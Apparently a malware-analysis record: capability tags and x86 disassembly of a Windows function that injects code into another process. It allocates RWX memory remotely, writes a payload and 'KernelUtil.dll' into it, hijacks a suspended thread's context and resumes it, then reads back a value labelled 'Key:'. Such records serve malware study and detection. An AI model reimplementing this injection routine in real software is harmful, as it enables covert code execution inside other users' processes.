Function at 0x4041e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x406dd2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf60
push ebx
push esi
push edi
push 0x2c8
lea eax, [esp + 0x3d8]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [0x40a764], 0
mov dword [esp + 0x3d0], 0x1003f
jne 0x404245
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x40a764], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp dword [0x40a760], 0
mov edi, eax
jne 0x404280
mov eax, dword [0x40a764]
push 0x40
push 0x3000
push 0x1000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x40a760], eax
push str.Kernel32.dll
mov dword [esp + 0x14], 0x54746553
mov dword [esp + 0x18], 0x61657268
mov dword [esp + 0x1c], 0x6e6f4364
mov dword [esp + 0x20], 0x74786574
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.GetModuleHandleA
push esi
call ebx
push 0x40759c
push esi
mov dword [esp + 0x30], eax
call ebx
push str.WriteProcessMemory
push esi
mov dword [esp + 0x14], eax
call ebx
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x2c], eax
call ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [esp + 0x3d0]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x40a760]
mov ebx, dword [esp + 0x28]
lea edx, [eax + 0x80f]
mov dword [0x40a335], edx
mov edx, dword [esp + 0xc]
push 0
lea ecx, [eax + 0x800]
mov dword [str.DDDD], edx
lea edx, [eax + 0x83f]
push 0x52
mov dword [0x40a329], ecx
mov dword [0x40a342], edx
lea edx, [eax + 0x400]
mov dword [0x40a350], ecx
lea ecx, [eax + 0x85c]
push 0x40a328
push eax
mov dword [0x40a36e], eax
mov eax, dword [0x40a764]
mov dword [0x40a347], edx
mov edx, dword [esp + 0x498]
mov dword [0x40a35c], ecx
mov ecx, dword [esp + 0x1c]
mov dword [str.____], ebx
mov dword [0x40a355], ebx
mov ebx, dword [esp + 0x34]
push eax
mov dword [0x40a362], ecx
mov dword [0x40a375], edx
call ebx
mov ecx, dword [0x40a760]
mov edx, dword [0x40a764]
push 0
push 0x7c
push str.KernelUtil.dll
add ecx, 0x800
push ecx
push edx
call ebx
mov eax, dword [0x40a760]
lea ecx, [esp + 0x3d0]
push ecx
push edi
mov dword [esp + 0x490], eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
push 0x102
lea eax, [esp + 0x1ce]
xor edx, edx
push edi
push eax
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov word [esp + 0x1d4], dx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x3fe
lea edx, [esp + 0x6a6]
xor ecx, ecx
push edi
push edx
mov word [esp + 0x6ac], cx
call sub.MSVCR100.dll_memset
mov ecx, dword [0x40a760]
mov edx, dword [0x40a764]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add esp, 0xc
push edi
push 4
lea eax, [esp + 0x44]
push eax
add ecx, 0x400
push ecx
push edx
call esi
mov ecx, dword [esp + 0x3c]
mov edx, dword [0x40a764]
push edi
push 0x80
lea eax, [esp + 0x1d0]
push eax
push ecx
push edx
call esi
mov ecx, dword [0x40a760]
mov edx, dword [0x40a764]
push edi
push 4
lea eax, [esp + 0x40]
push eax
push ecx
push edx
call esi
push 1
lea eax, [esp + 0x1cc]
push eax
mov ecx, eax
push ecx
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x4075c0
lea edx, [esp + 0x6a4]
push 0x200
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
mov eax, dword [esp + 0x44]
add esp, 0xc
push edi
push eax
lea esi, [esp + 0x94]
call fcn.00403e80
mov ebx, 8
add esp, 8
cmp dword [eax + 0x14], ebx
jb 0x4044c9
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCR100.dll_wcscat_s]
push eax
lea ecx, [esp + 0x6a4]
push 0x200
push ecx
call esi
add esp, 0xc
cmp dword [esp + 0xa0], ebx
jb 0x4044fc
mov edx, dword [esp + 0x8c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push str._Key:
lea eax, [esp + 0x6a4]
push 0x200
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x1c8]
push ecx
lea edx, [esp + 0x6a4]
push 0x200
push edx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea eax, [esp + 0x6b4]
push eax
push edi
push edi
call ebx
mov edi, eax
push edi
call fcn.0040606c
add esp, 4
push 0
push 0
push edi
mov esi, eax
push esi
push 0xffffffffffffffff
lea ecx, [esp + 0x6b4]
push ecx
push 0
push 0
mov dword [esp + 0x44], esi
call ebx
xor eax, eax
push 0xff
push eax
lea edx, [esp + 0x2d9]
push edx
mov dword [esp + 0x18], 0x82dc9d3
mov byte [esp + 0x38], 0
mov dword [esp + 0x39], eax
mov dword [esp + 0x3d], eax
mov word [esp + 0x41], ax
mov byte [esp + 0x43], al
mov byte [esp + 0x98], al
mov dword [esp + 0x99], eax
mov dword [esp + 0x9d], eax
mov dword [esp + 0xa1], eax
mov dword [esp + 0xa5], eax
mov dword [esp + 0xa9], eax
mov byte [esp + 0xad], al
mov byte [esp + 0x5c], al
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov word [esp + 0x69], ax
mov byte [esp + 0x6b], al
mov byte [esp + 0x2dc], al
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov byte [esp + 0x40], 0
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov byte [esp + 0x60], al
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov word [esp + 0x75], ax
mov byte [esp + 0x78], al
mov dword [esp + 0x79], eax
lea ebx, [esp + 0xc]
lea ecx, [esp + 0xb8]
mov dword [esp + 0x7d], eax
mov dword [esp + 0x81], eax
mov dword [esp + 0x85], eax
call fcn.004010b0
lea eax, [esp + 0x2c]
push eax
mov ecx, 0xc
mov edx, 0x40a1ec
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea ecx, [esp + 0x8c]
push ecx
mov ecx, 0x16
mov edx, 0x40a300
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea edx, [esp + 0x50]
push edx
mov ecx, 0x10
mov edx, 0x40a318
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea eax, [esp + 0x2d0]
push eax
mov ecx, 0x100
mov edx, 0x40a1fe
lea eax, [esp + 0xbc]
call section..text
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x94]
mov dword [esp + 0x44], edx
mov edx, dword [esp + 0x90]
mov dword [esp + 0x6c], ecx
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x68], eax
mov ax, word [esp + 0xa0]
mov dword [esp + 0x64], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0x5c]
mov word [esp + 0x74], ax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x70], edx
mov edx, dword [esp + 0x54]
mov dword [esp + 0x84], ecx
sub esp, 0x1c
mov dword [esp + 0x9c], eax
mov ecx, esp
mov dword [esp + 0x98], edx
xor ebx, ebx
mov eax, esi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
mov dword [esp + 0x44], esp
mov byte [ecx], bl
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x404775
sub eax, edi
mov edi, eax
mov eax, esi
mov esi, ecx
call fcn.00403aa0
sub esp, 0x1c
mov dword [esp + 0xfac], ebx
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov edi, 5
mov eax, str.Hello
mov dword [esp + 0x44], esp
mov byte [esi], bl
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0xfc8], 1
mov esi, esp
lea eax, [esp + 0x324]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x100], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4047e0
sub eax, edi
mov edi, eax
lea eax, [esp + 0x324]
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0xfe4], 2
mov esi, esp
lea eax, [esp + 0xe8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x120], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404821
sub eax, edi
mov edi, eax
lea eax, [esp + 0xe8]
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0x1000], 3
mov esi, esp
lea eax, [esp + 0xec]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x140], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404862
sub eax, edi
mov edi, eax
lea eax, [esp + 0xec]
call fcn.00403aa0
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x101c], 4
lea eax, [esp + 0xe8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x150], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4048a3
sub eax, edi
mov edi, eax
lea eax, [esp + 0xe8]
call fcn.00403aa0
lea edx, [esp + 0xb48]
push edx
mov dword [esp + 0x1020], 0xffffffff
call fcn.00401580
lea esi, [esp + 0xaa0]
mov dword [esp + 0xf74], 5
call fcn.004017a0
test al, al
je 0x404922
mov eax, esi
push eax
call fcn.004018c0
test eax, eax
jne 0x404922
mov ebx, esi
call fcn.00401c60
test al, al
je 0x404922
mov ecx, esi
call fcn.00401f20
test al, al
je 0x404922
mov ecx, esi
push ecx
call fcn.00401ff0
test eax, eax
jne 0x404922
mov ecx, esi
call fcn.004024d0
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
lea eax, [esp + 0xaa0]
call fcn.00401450
mov ecx, dword [esp + 0xf6c]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret